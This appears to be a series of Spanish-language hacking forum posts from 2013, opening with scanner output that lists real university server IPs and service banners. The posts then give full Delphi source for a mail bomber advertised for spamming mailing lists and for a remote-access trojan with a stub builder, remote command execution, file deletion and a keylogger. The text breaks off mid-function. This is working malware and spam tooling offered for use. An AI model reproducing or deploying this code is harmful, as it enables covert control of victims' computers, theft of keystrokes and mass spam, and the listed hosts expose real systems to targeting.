[+] OS : Not Found
[+] Port : 80
[+] Last Updated : 23.11.2013

[Data Start]
HTTP/1.0 401 Unauthorized
Connection: Keep-Alive
Cache-Control: no-cache
WWW-Authenticate: Digest realm="FACULTAD DE PSICOLOGIA", domain="/", nonce="103efee03d", algorithm="MD5", qop="auth"
WWW-Authenticate: Basic realm="FACULTAD DE PSICOLOGIA"
Content-Type: text/html
Content-Length: 236


[Data End]

[+] Search Number : 6
[+] Country : Argentina
[+] IP : 190.11.104.87
[+] Hostnames: host87-104.cpenet.com.ar

[+] OS : Not Found
[+] Port : 137
[+] Last Updated : 22.11.2013

[Data Start]
NetBIOS Response
Servername: FACULTAD       
MAC: 00:1c:c0:9c:0a:ff

Names:
FACULTAD        <0x0>
SIX             <0x0>
FACULTAD        <0x20>
SIX             <0x1e>
SIX             <0x1d>
__MSBROWSE__ <0x1>

[Data End]

[+] Search Number : 7
[+] Country : Mexico
[+] IP : 132.248.18.23
[+] Hostnames: docencia.fca.unam.mx

[+] OS : Not Found
[+] Port : 143
[+] Last Updated : 22.11.2013

[Data Start]
* OK [CAPABILITY IMAP4rev1 LITERAL+ SASL-IR LOGIN-REFERRALS ID ENABLE STARTTLS AUTH=PLAIN AUTH=LOGIN] Bienvenido al servicio de correo DOCENCIA de la Facultad de Contaduria y administacion
[Data End]

[+] Search Number : 8
[+] Country : Argentina
[+] IP : 170.210.88.7
[+] Hostnames: firewall.unp.edu.ar

[+] OS : Not Found
[+] Port : 21
[+] Last Updated : 22.11.2013

[Data Start]
220 Bienvenido al FTP de la Facultad de Ingenieria.
530 Permission denied.
530 Please login with USER and PASS.
[Data End]

[+] Search Number : 9
[+] Country : Argentina
[+] IP : 170.210.240.9
[+] Hostnames: cacuy.fi.unju.edu.ar

[+] OS : Not Found
[+] Port : 25
[+] Last Updated : 20.11.2013

[Data Start]
220 cacuy.fi.unju.edu.ar Servidor de email Facultad de Ingenieria UNJu

[Data End]

[+] Press enter to show more

#168
Programación General / [Delphi] DH Botnet 0.5
16 Diciembre 2013, 04:26 AM
Traduccion a delphi de mi DH Botnet escrita originalmente en Perl.

Contiene estas opciones :

  • Ejecucion de comandos
  • Listar procesos activos
  • Matar procesos
  • Listar archivos de un directorio
  • Borrar un archivo o directorio cualquiera
  • Leer archivos
  • Abrir y cerrar lectora
  • Ocultar y mostrar programas del escritorio
  • Ocultar y mostrar Taskbar
  • Abrir Word y hacer que escriba solo (una idea muy grosa xDD)
  • Hacer que el teclado escriba solo
  • Volver loco al mouse haciendo que se mueva por la pantalla

    Unas imagenes :





    Si lo quieren bajar lo pueden hacer de aca.
#169
Programación General / [Delphi] DH Bomber 0.5
13 Diciembre 2013, 04:19 AM
Un simple mail bomber hecho en delphi , lo nuevo de esta version es la posibilidad de usar un mailist , para poder mandar spam a mas no poder xDD.

Una imagen :



El codigo.

Código (delphi) [Seleccionar]

// DH Bomber 0.5
// (C) Doddy Hackman 2013

unit dh;

interface

uses
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  Dialogs, ComCtrls, sStatusBar, sPageControl, sSkinManager, StdCtrls, sButton,
  sMemo, sEdit, sLabel, sGroupBox, Menus, MPlayer, ExtCtrls, jpeg, IdIOHandler,
  IdIOHandlerSocket,
  IdIOHandlerStack, IdSSL, IdSSLOpenSSL, IdBaseComponent, IdComponent,
  IdTCPConnection, IdTCPClient, IdExplicitTLSClientServerBase,
  IdSMTPBase, IdSMTP, IdMessage, IdAttachment, IdAttachmentFile, sListBox,
  acPNG;

type
  TForm1 = class(TForm)
    sSkinManager1: TsSkinManager;
    sStatusBar1: TsStatusBar;
    sPageControl1: TsPageControl;
    sTabSheet1: TsTabSheet;
    sTabSheet2: TsTabSheet;
    sTabSheet3: TsTabSheet;
    sTabSheet4: TsTabSheet;
    sTabSheet5: TsTabSheet;
    sTabSheet6: TsTabSheet;
    sGroupBox1: TsGroupBox;
    sLabel1: TsLabel;
    sLabel2: TsLabel;
    sEdit1: TsEdit;
    sEdit2: TsEdit;
    sGroupBox2: TsGroupBox;
    sLabel5: TsLabel;
    sLabel6: TsLabel;
    sEdit5: TsEdit;
    sEdit6: TsEdit;
    sGroupBox3: TsGroupBox;
    sMemo1: TsMemo;
    sButton1: TsButton;
    MediaPlayer1: TMediaPlayer;
    sLabel3: TsLabel;
    sEdit3: TsEdit;
    Image1: TImage;
    PopupMenu1: TPopupMenu;
    N2: TMenuItem;
    S2: TMenuItem;
    sGroupBox4: TsGroupBox;
    sMemo2: TsMemo;
    sGroupBox5: TsGroupBox;
    sListBox1: TsListBox;
    sGroupBox6: TsGroupBox;
    Image2: TImage;
    sLabel7: TsLabel;
    PopupMenu2: TPopupMenu;
    L1: TMenuItem;
    A1: TMenuItem;
    C1: TMenuItem;
    OpenDialog1: TOpenDialog;
    sLabel4: TsLabel;
    procedure FormCreate(Sender: TObject);
    procedure N2Click(Sender: TObject);
    procedure S2Click(Sender: TObject);

    procedure sButton1Click(Sender: TObject);
    procedure C1Click(Sender: TObject);
    procedure L1Click(Sender: TObject);

    procedure A1Click(Sender: TObject);
  private
    { Private declarations }
  public
    { Public declarations }
  end;

var
  Form1: TForm1;
  themenow: Boolean;

implementation

{$R *.dfm}
// Functions

procedure enviate_esta(username, password, toto, subject, body: string);
var
  data: TIdMessage;
  mensaje: TIdSMTP;

begin

  mensaje := TIdSMTP.Create(nil);

  data := TIdMessage.Create(nil);
  data.From.Address := username;
  data.Recipients.EMailAddresses := toto;
  data.subject := subject;
  data.body.Text := body;

  mensaje.Host := 'smtp.gmail.com';
  mensaje.Port := 587;
  mensaje.username := username;
  mensaje.password := password;

  mensaje.Connect;
  mensaje.Send(data);
  mensaje.Disconnect;

  mensaje.Free;
  data.Free;

end;

//

procedure TForm1.A1Click(Sender: TObject);
var

  archivo: TextFile;
  lineas: String;

begin

  OpenDialog1.InitialDir := GetCurrentDir;

  if OpenDialog1.Execute then
  begin
    AssignFile(archivo, OpenDialog1.Filename);
    Reset(archivo);

    while not EOF(archivo) do
    begin
      ReadLn(archivo, lineas);
      sListBox1.Items.Add(lineas);
    end;

  end;

end;

procedure TForm1.C1Click(Sender: TObject);
begin
  sListBox1.Clear;
end;

procedure TForm1.FormCreate(Sender: TObject);
begin

  sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
  sSkinManager1.SkinName := 'deep';
  sSkinManager1.Active := True;

  MediaPlayer1.Filename := 'data/theme.mp3';
  MediaPlayer1.Open;
  themenow := True;
  MediaPlayer1.Play;
  MediaPlayer1.Notify := True;

end;

procedure TForm1.L1Click(Sender: TObject);
var
  mail: string;
begin
  mail := InputBox('DH Bomber 0.5', 'Mail', '');
  if not(mail = '') then
  begin
    sListBox1.Items.Add(mail);
  end;
end;

procedure TForm1.N2Click(Sender: TObject);
begin
  themenow := True;
  MediaPlayer1.Play;
  MediaPlayer1.Notify := True;
end;

procedure TForm1.S2Click(Sender: TObject);
begin
  themenow := false;
  MediaPlayer1.Stop;
  MediaPlayer1.Notify := True;
end;

procedure TForm1.sButton1Click(Sender: TObject);
var
  i: integer;
  i2: integer;
  count: integer;
  idasunto: string;

begin

  sMemo2.Clear;

  for i2 := sListBox1.Items.count - 1 downto 0 do
  begin

    Sleep(StrToInt(sEdit3.Text) * 1000);

    count := StrToInt(sEdit5.Text);

    For i := 1 to count do
    begin

      if count > 1 then
      begin
        idasunto := '_' + IntToStr(i);
      end;

      try
        begin

          sStatusBar1.Panels[0].Text := '[+] Target : ' + sListBox1.Items[i2]
            + ' ' + '[+] Message Number ' + IntToStr(i)
            + ' : Sending ' + ' ...';
          Form1.sStatusBar1.Update;

          enviate_esta(sEdit1.Text, sEdit2.Text, sListBox1.Items[i2],
            sEdit6.Text + idasunto, sMemo1.Text);

          sMemo2.Lines.Add('[+] Target : ' + sListBox1.Items[i2] + ' ' +
              '[+] Message Number ' + IntToStr(i) + ' : OK ');

        end;
      except
        begin
          sStatusBar1.Panels[0].Text :=
            '[-] Error Sending Message Number ' + IntToStr(i) + ' ...';

          sMemo2.Lines.Add('[+] Target : ' + sListBox1.Items[i2] + ' ' +
              '[+] Message Number ' + IntToStr(i) + ' : FAIL ');

          Form1.sStatusBar1.Update;
        end;

      end;

    end;

  end;

  sStatusBar1.Panels[0].Text := '[+] Finished';
  Form1.sStatusBar1.Update;

end;

end.

// The End ?


Si lo quieren bajar lo pueden hacer de aca.
#170
Programación General / [Delphi] DH Rat 0.3
9 Diciembre 2013, 03:30 AM
Un simple RAT que hice en Delphi con las siguientes opciones :

  • Abrir y cerrar lectora
  • Listar archivos en un directorio
  • Borrar archivos y directorios
  • Ver el contenido de un archivo
  • Hacer que el teclado escriba solo
  • Abre Word y para variar las cosas el teclado escribe solo
  • Mandar mensajes
  • Hacer que la computadora hable (en ingles)
  • Listar procesos
  • Matar un proceso
  • Ejecutar comandos y ver el resultado
  • Volver loco al mouse por un rato
  • Ocultar y mostrar el taskbar
  • Ocultar y mostrar los iconos del escritorio
  • Keylogger incluido

    Una imagen :



    Los codigos.

    El Administrador.

    Código (delphi) [Seleccionar]

    // DH Rat 0.3
    // (C) Doddy Hackman 2013

    unit rat;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, sSkinManager, ComCtrls, sStatusBar, sPageControl, StdCtrls,
      sGroupBox, ShellApi, sListView, sMemo, sEdit, sButton, acPNG, ExtCtrls,
      sLabel, ScktComp, Menus, IdBaseComponent, IdComponent,
      IdTCPConnection, IdTCPClient, madRes, WinInet;

    type
      TForm1 = class(TForm)
        sSkinManager1: TsSkinManager;
        sStatusBar1: TsStatusBar;
        sPageControl1: TsPageControl;
        sTabSheet1: TsTabSheet;
        sTabSheet2: TsTabSheet;
        sTabSheet3: TsTabSheet;
        sTabSheet4: TsTabSheet;
        sGroupBox1: TsGroupBox;
        sGroupBox2: TsGroupBox;
        sListView1: TsListView;
        sMemo1: TsMemo;
        sGroupBox3: TsGroupBox;
        sGroupBox4: TsGroupBox;
        sEdit1: TsEdit;
        sGroupBox5: TsGroupBox;
        sButton1: TsButton;
        sGroupBox6: TsGroupBox;
        Image1: TImage;
        sLabel1: TsLabel;
        ServerSocket1: TServerSocket;
        PopupMenu1: TPopupMenu;
        O1: TMenuItem;
        C1: TMenuItem;
        L1: TMenuItem;
        D1: TMenuItem;
        R1: TMenuItem;
        S1: TMenuItem;
        J1: TMenuItem;
        M1: TMenuItem;
        T1: TMenuItem;
        ifPoslistarprocesoscode0then1: TMenuItem;
        K1: TMenuItem;
        C2: TMenuItem;
        C3: TMenuItem;
        H1: TMenuItem;
        S2: TMenuItem;
        H2: TMenuItem;
        S3: TMenuItem;
        K2: TMenuItem;
        PopupMenu2: TPopupMenu;
        S4: TMenuItem;
        S5: TMenuItem;
        Image2: TImage;
        sGroupBox7: TsGroupBox;
        sGroupBox8: TsGroupBox;
        Image3: TImage;
        sButton2: TsButton;
        OpenDialog1: TOpenDialog;
        sEdit2: TsEdit;
        procedure ServerSocket1ClientRead(Sender: TObject;
          Socket: TCustomWinSocket);

        procedure O1Click(Sender: TObject);
        procedure C1Click(Sender: TObject);
        procedure ServerSocket1ClientConnect(Sender: TObject;
          Socket: TCustomWinSocket);
        procedure L1Click(Sender: TObject);
        procedure D1Click(Sender: TObject);
        procedure R1Click(Sender: TObject);
        procedure S1Click(Sender: TObject);
        procedure J1Click(Sender: TObject);
        procedure M1Click(Sender: TObject);
        procedure T1Click(Sender: TObject);
        procedure ifPoslistarprocesoscode0then1Click(Sender: TObject);
        procedure K1Click(Sender: TObject);
        procedure C2Click(Sender: TObject);
        procedure C3Click(Sender: TObject);
        procedure H1Click(Sender: TObject);
        procedure S2Click(Sender: TObject);
        procedure H2Click(Sender: TObject);
        procedure S3Click(Sender: TObject);
        procedure K2Click(Sender: TObject);
        procedure FormCreate(Sender: TObject);
        procedure S4Click(Sender: TObject);

        procedure S5Click(Sender: TObject);
        procedure sButton2Click(Sender: TObject);
        procedure sEdit1DblClick(Sender: TObject);

        procedure sButton1Click(Sender: TObject);
      private
        { Private declarations }
      public
        { Public declarations }
      end;

    var
      Form1: TForm1;
      argumento: string;

    implementation

    {$R *.dfm}
    // Functions

    function toma(const pagina: string): UTF8String;

    // Credits : Based on http://www.scalabium.com/faq/dct0080.htm
    // Thanks to www.scalabium.com

    var
      nave1: HINTERNET;
      nave2: HINTERNET;
      tou: DWORD;
      codez: UTF8String;
      codee: array [0 .. 1023] of byte;
      finalfinal: string;

    begin

      try

        begin

          finalfinal := '';
          Result := '';

          nave1 := InternetOpen(
            'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.1.12) Gecko/20080201Firefox/2.0.0.12'
              , INTERNET_OPEN_TYPE_PRECONFIG, nil, nil, 0);

          nave2 := InternetOpenUrl(nave1, PChar(pagina), nil, 0,
            INTERNET_FLAG_RELOAD, 0);

          repeat

          begin
            InternetReadFile(nave2, @codee, SizeOf(codee), tou);
            SetString(codez, PAnsiChar(@codee[0]), tou);
            finalfinal := finalfinal + codez;
          end;

          until tou = 0;

          InternetCloseHandle(nave2);
          InternetCloseHandle(nave1);

          Result := finalfinal;
        end;

      except
        //
      end;

    end;

    function regex(text: String; deaca: String; hastaaca: String): String;
    begin
      Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
      SetLength(text, AnsiPos(hastaaca, text) - 1);
      Result := text;
    end;

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    procedure savefile(filename, texto: string);
    var
      ar: TextFile;

    begin

      AssignFile(ar, filename);
      FileMode := fmOpenWrite;

      if FileExists(filename) then
        Append(ar)
      else
        Rewrite(ar);

      Write(ar, texto);
      CloseFile(ar);

    end;

    //

    procedure TForm1.FormCreate(Sender: TObject);
    begin

      sSkinManager1.SkinDirectory := ExtractFilePath(Application.ExeName) + 'Data';
      sSkinManager1.SkinName := 'matrix';
      sSkinManager1.Active := True;

      try
        begin

          sListView1.Items.Clear;

          ServerSocket1.Port := 6664;
          ServerSocket1.Open;

          sStatusBar1.Panels[0].text := '[+] Online';
          Form1.sStatusBar1.Update;

        end;
      except
        sStatusBar1.Panels[0].text := '[-] Error';
        Form1.sStatusBar1.Update;
      end;
    end;

    procedure TForm1.C1Click(Sender: TObject);
    begin
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText('![closecd]');
    end;

    procedure TForm1.C2Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'Command', 'net user');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![ejecutar] [argumento]' + argumento + '[argumento]');
    end;

    procedure TForm1.C3Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'Number', '123');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![crazymouse] [argumento]' + argumento + '[argumento]');
    end;

    procedure TForm1.D1Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'File', 'C:/XAMPP/test.txt');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![borraresto] [argumento]' + argumento + '[argumento]');
    end;

    procedure TForm1.H1Click(Sender: TObject);
    begin
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![ocultartaskbar]');
    end;

    procedure TForm1.H2Click(Sender: TObject);
    begin
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![ocultariconos]');
    end;

    procedure TForm1.ifPoslistarprocesoscode0then1Click(Sender: TObject);
    begin
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![listarprocesos]');
    end;

    procedure TForm1.J1Click(Sender: TObject);
    begin

      argumento := InputBox('DH Rat', 'Keys', 'No tengas miedo');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![escribirword] [argumento]' + argumento + '[argumento]');

    end;

    procedure TForm1.K1Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'PID', '');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![matarproceso] [argumento]' + argumento + '[argumento]');
    end;

    procedure TForm1.K2Click(Sender: TObject);
    begin
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![keyloggerlogs]');
    end;

    procedure TForm1.L1Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'Directory', 'C:/XAMPP');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![listardirectorio] [argumento]' + argumento + '[argumento]');
    end;

    procedure TForm1.M1Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'Text', 'No tengas miedo');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![mensaje] [argumento]' + argumento + '[argumento]');

    end;

    procedure TForm1.O1Click(Sender: TObject);
    begin
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText('![opencd]');
    end;

    procedure TForm1.R1Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'Directory', 'C:/XAMPP');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![leerarchivo] [argumento]' + argumento + '[argumento]');

    end;

    procedure TForm1.S1Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'Keys', 'No tengas miedo');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![sendkeys] [argumento]' + argumento + '[argumento]');

    end;

    procedure TForm1.S2Click(Sender: TObject);
    begin
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![volvertaskbar]');
    end;

    procedure TForm1.S3Click(Sender: TObject);
    begin
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![volvericonos]');
    end;

    procedure TForm1.T1Click(Sender: TObject);
    begin
      argumento := InputBox('DH Rat', 'Text', 'Mother Fucker');
      ServerSocket1.Socket.Connections[sListView1.Itemindex].SendText
        ('![hablar] [argumento]' + argumento + '[argumento]');
    end;

    procedure TForm1.S4Click(Sender: TObject);
    begin

      try
        begin
          ServerSocket1.Port := 6664;
          ServerSocket1.Open;

          sListView1.Items.Clear;

          sStatusBar1.Panels[0].text := '[+] Online';
          Form1.sStatusBar1.Update;
        end;
      except

        sStatusBar1.Panels[0].text := '[-] Error';
        Form1.sStatusBar1.Update;
      end;

    end;

    procedure TForm1.S5Click(Sender: TObject);
    begin
      try
        begin

          sListView1.Items.Clear;
          ServerSocket1.Close;
          sStatusBar1.Panels[0].text := '[+] OffLine';
          Form1.sStatusBar1.Update;
        end;
      except
        sStatusBar1.Panels[0].text := '[-] Error';
        Form1.sStatusBar1.Update;
      end;
    end;

    procedure TForm1.sButton1Click(Sender: TObject);

    var
      linea: string;
      aca: THandle;
      code: Array [0 .. 9999 + 1] of Char;
      nose: DWORD;
      marca_uno: string;
      lineafinal: string;
      stubgenerado: string;
      change: DWORD;
      valor: string;

    begin

      stubgenerado := 'server_ready.exe';
      lineafinal := '[ip]' + sEdit1.text + '[ip]';

      marca_uno := '[63686175]' + dhencode(lineafinal, 'encode') + '[63686175]';

      aca := INVALID_HANDLE_VALUE;
      nose := 0;

      DeleteFile(stubgenerado);
      CopyFile(PChar(ExtractFilePath(Application.ExeName)
            + '/' + 'Data/stubnow.exe'), PChar(ExtractFilePath(Application.ExeName)
            + '/' + stubgenerado), True);

      linea := marca_uno;
      StrCopy(code, PChar(linea));
      aca := CreateFile(PChar(stubgenerado), GENERIC_WRITE, FILE_SHARE_READ, nil,
        OPEN_EXISTING, 0, 0);
      if (aca <> INVALID_HANDLE_VALUE) then
      begin
        SetFilePointer(aca, 0, nil, FILE_END);
        WriteFile(aca, code, 9999, nose, nil);
        CloseHandle(aca);
      end;

      //

      if not(sEdit2.text = '') then
      begin
        try
          begin

            valor := IntToStr(128);

            change := BeginUpdateResourceW
              (PWideChar(wideString(ExtractFilePath(Application.ExeName)
                    + '/' + stubgenerado)), False);
            LoadIconGroupResourceW(change, PWideChar(wideString(valor)), 0,
              PWideChar(wideString(sEdit2.text)));
            EndUpdateResourceW(change, False);
            sStatusBar1.Panels[0].text := '[+] Done ';
            sStatusBar1.Update;
          end;
        except
          begin
            sStatusBar1.Panels[0].text := '[-] Error';
            sStatusBar1.Update;
          end;
        end;
      end
      else
      begin
        sStatusBar1.Panels[0].text := '[+] Done ';
        sStatusBar1.Update;
      end;

      //

    end;

    procedure TForm1.sButton2Click(Sender: TObject);
    begin

      OpenDialog1.InitialDir := GetCurrentDir;
      OpenDialog1.Filter := 'ICO|*.ico|';

      if OpenDialog1.Execute then
      begin
        Image3.Picture.LoadFromFile(OpenDialog1.filename);
        sEdit2.text := OpenDialog1.filename;
      end;

    end;

    procedure TForm1.sEdit1DblClick(Sender: TObject);
    var
      code, ip: string;
    begin

      code := toma('http://whatismyipaddress.com/');

      ip := regex(code, 'alt="Click for more about ', '"></a>');

      sEdit1.text := ip;

    end;

    procedure TForm1.ServerSocket1ClientConnect(Sender: TObject;
      Socket: TCustomWinSocket);
    begin

      with sListView1.Items.Add do
      begin
        Caption := Socket.RemoteHost;
        SubItems.Add('?');
        SubItems.Add('?');
        SubItems.Add('?');
        SubItems.Add('?');

      end;

    end;

    procedure TForm1.ServerSocket1ClientRead(Sender: TObject;
      Socket: TCustomWinSocket);
    var
      code: string;
      host: string;
      ip: string;
      pais: string;
      username: string;
      os: string;

    begin

      code := Socket.ReceiveText;

      if (Pos('[datos_nuevos][ip]', code) > 0) then
      begin

        ip := regex(code, '[ip]', '[ip]');
        pais := regex(code, '[pais]', '[pais]');
        username := regex(code, '[username]', '[username]');
        os := regex(code, '[os]', '[os]');

        sListView1.Items[sListView1.Items.Count - 1].SubItems[0] := ip;
        sListView1.Items[sListView1.Items.Count - 1].SubItems[1] := pais;
        sListView1.Items[sListView1.Items.Count - 1].SubItems[2] := username;
        sListView1.Items[sListView1.Items.Count - 1].SubItems[3] := os;

        sMemo1.Lines.Add('[+] Update Target : OK');

      end

      else if (Pos('![keyloggerlogs]', code) > 0) then
      begin
        if (FileExists('logs_keylogger.html')) then
        begin
          DeleteFile('logs_keylogger.html');
        end;

        savefile('logs_keylogger.html', code);

        sMemo1.Lines.Add('[+] Keylogger : OK');

        ShellExecute(0, nil, PChar(ExtractFilePath(Application.ExeName)
              + 'logs_keylogger.html'), nil, nil, SW_SHOWNORMAL);
      end
      else
      begin
        sMemo1.Lines.Add(code);
      end;

    end;

    end.

    // The End ?


    El stub.

    Código (delphi) [Seleccionar]

    // DH Rat 0.3
    // (C) Doddy Hackman 2013

    // Stub

    unit stub;

    interface

    uses
      Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
      Dialogs, StdCtrls, MMSystem, ComObj, ShellApi, tlhelp32, IdBaseComponent,
      IdComponent, IdTCPConnection, IdTCPClient, IdHTTP, IdIPMCastBase,
      IdIPMCastServer, ScktComp, sButton, ExtCtrls;

    type
      TForm1 = class(TForm)
        IdHTTP1: TIdHTTP;
        ClientSocket1: TClientSocket;
        Timer1: TTimer;
        Timer2: TTimer;
        function datanow(): string;
        procedure ClientSocket1Read(Sender: TObject; Socket: TCustomWinSocket);
        procedure sButton1Click(Sender: TObject);
        procedure ClientSocket1Connect(Sender: TObject; Socket: TCustomWinSocket);
        procedure FormCreate(Sender: TObject);
        procedure Timer1Timer(Sender: TObject);
        procedure Timer2Timer(Sender: TObject);

      private
        Nombre2: string;
        { Private declarations }

      public
        { Public declarations }

      end;

    var
      Form1: TForm1;
      acatoy: string;

    implementation

    {$R *.dfm}
    {$POINTERMATH ON}
    // Functions

    function dhencode(texto, opcion: string): string;
    // Thanks to Taqyon
    // Based on http://www.vbforums.com/showthread.php?346504-DELPHI-Convert-String-To-Hex
    var
      num: integer;
      aca: string;
      cantidad: integer;

    begin

      num := 0;
      Result := '';
      aca := '';
      cantidad := 0;

      if (opcion = 'encode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad do
        begin
          aca := IntToHex(ord(texto[num]), 2);
          Result := Result + aca;
        end;
      end;

      if (opcion = 'decode') then
      begin
        cantidad := Length(texto);
        for num := 1 to cantidad div 2 do
        begin
          aca := Char(StrToInt('$' + Copy(texto, (num - 1) * 2 + 1, 2)));
          Result := Result + aca;
        end;
      end;

    end;

    procedure savefile(filename, texto: string);
    var
      ar: TextFile;

    begin

      try

        begin
          AssignFile(ar, filename);
          FileMode := fmOpenWrite;

          if FileExists(filename) then
            Append(ar)
          else
            Rewrite(ar);

          Write(ar, texto);
          CloseFile(ar);
        end;
      except
        //
      end;

    end;

    function regex(text: String; deaca: String; hastaaca: String): String;
    begin
      Delete(text, 1, AnsiPos(deaca, text) + Length(deaca) - 1);
      SetLength(text, AnsiPos(hastaaca, text) - 1);
      Result := text;
    end;

    function listardirectorio(dir: string): string;
    var

      busqueda: TSearchRec;
      code: string;

    begin

      code := '';

      FindFirst(dir + '\*.*', faAnyFile + faDirectory + faReadOnly, busqueda);

      code := code + '[+] : ' + busqueda.Name + sLineBreak;

      while FindNext(busqueda) = 0 do
      begin
        code := code + '[+] : ' + busqueda.Name + sLineBreak;
      end;

      Result := code;
      FindClose(busqueda);

    end;

    function borraresto(archivo: string): string;
    var
      code: string;
    begin

      code := '';

      if DirectoryExists(archivo) then
      begin
        if (RemoveDir(archivo)) then
        begin
          code := '[+] Directory removed';
        end
        else
        begin
          code := '[+] Error';
        end;
      end;
      if FileExists(archivo) then
      begin
        if (DeleteFile(archivo)) then
        begin
          code := '[+] File removed';
        end
        else
        begin
          code := '[+] Error';
        end;
      end;

      Result := code;

    end;

    function LeerArchivo(const archivo: TFileName): String;
    var
      lista: TStringList;
    begin

      if (FileExists(archivo)) then
      begin

        lista := TStringList.Create;
        lista.Loadfromfile(archivo);
        Result := lista.text;
        lista.Free;

      end;

    end;

    function lectora(opcion: string): string;
    var
      code: string;
    begin

      code := '';

      if (opcion = 'open') then
      begin
        mciSendString('Set cdaudio door open wait', nil, 0, 0);
        code := '[+] Open CD : OK';
      end
      else
      begin
        mciSendString('Set cdaudio door closed wait', nil, 0, 0);
        code := '[+] Close CD : OK';
      end;

      Result := code;

    end;

    function cambiar_barra(opcion: string): string;
    var
      code: string;
    begin
      code := '';

      if (opcion = 'hide') then
      begin
        ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_HIDE);
        code := '[+] Hidden Taskbar : OK';
      end
      else
      begin
        ShowWindow(FindWindow('Shell_TrayWnd', nil), SW_SHOWNA);
        code := '[+] Show Taskbar : OK';
      end;

      Result := code;

    end;

    function cambiar_iconos(opcion: string): string;
    var
      code: string;
      acatoy: THandle;
    begin
      code := '';
      acatoy := FindWindow('ProgMan', nil);
      acatoy := GetWindow(acatoy, GW_CHILD);
      if (opcion = 'hide') then
      begin
        ShowWindow(acatoy, SW_HIDE);
        code := '[+] Hidden Icons : OK';
      end
      else
      begin
        ShowWindow(acatoy, SW_SHOW);
        code := '[+] Show Icons : OK';
      end;
      Result := code;
    end;

    function mensaje(texto: string): string;
    var
      code: string;
    begin
      code := '';
      ShowMessage(texto);
      code := '[+] Message Sent';
      Result := code;
    end;

    function hablar(text: string): string;
    var
      Voice: Variant;
      code: string;
    begin
      code := '';
      Voice := CreateOLEObject('SAPI.SpVoice');
      Voice.speak(text);
      code := '[+] Voice Speak : OK';
      Result := code;
    end;

    function SendKeys(texto: string): string;
    // Thanks to Remy Lebeau for the help
    var
      eventos: PInput;
      controlb, controla: integer;
      code: string;
    begin

      code := '';
      code := '[+] SendKeys : OK';

      GetMem(eventos, SizeOf(TInput) * (Length(texto) * 2));

      controla := 0;

      for controlb := 1 to Length(texto) do
      begin

        eventos[controla].Itype := INPUT_KEYBOARD;
        eventos[controla].ki.wVk := 0;
        eventos[controla].ki.wScan := ord(texto[controlb]);
        eventos[controla].ki.dwFlags := KEYEVENTF_UNICODE;
        eventos[controla].ki.time := 0;
        eventos[controla].ki.dwExtraInfo := 0;

        Inc(controla);

        eventos[controla].Itype := INPUT_KEYBOARD;
        eventos[controla].ki.wVk := 0;
        eventos[controla].ki.wScan := ord(texto[controlb]);
        eventos[controla].ki.dwFlags := KEYEVENTF_UNICODE or KEYEVENTF_KEYUP;
        eventos[controla].ki.time := 0;
        eventos[controla].ki.dwExtraInfo := 0;

        Inc(controla);

      end;

      SendInput(controla, eventos[0], SizeOf(TInput));

      Result := code;

    end;

    function escribir_word(texto: string): string;
    var
      code: string;
    begin
      code := '';
      code := '[+] Word Joke : OK';
      ShellExecute(0, nil, PChar('winword.exe'), nil, nil, SW_SHOWNORMAL);
      Sleep(5000);
      SendKeys(texto);
      Result := code;

    end;

    function listarprocesos(): string;
    var
      conector: THandle;
      timbre: LongBool;
      indicio: TProcessEntry32;
      code: string;

    begin

      code := '';

      conector := CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
      indicio.dwSize := SizeOf(indicio);

      timbre := Process32First(conector, indicio);

      while timbre do

      begin

        code := code + '[+] Name : ' + indicio.szExeFile + ' [+] PID : ' + IntToStr
          (indicio.th32ProcessID) + sLineBreak;

        timbre := Process32Next(conector, indicio);

      end;

      Result := code;

    end;

    function matarproceso(pid: string): string;
    var
      vano: THandle;
      code: string;

    begin

      code := '';
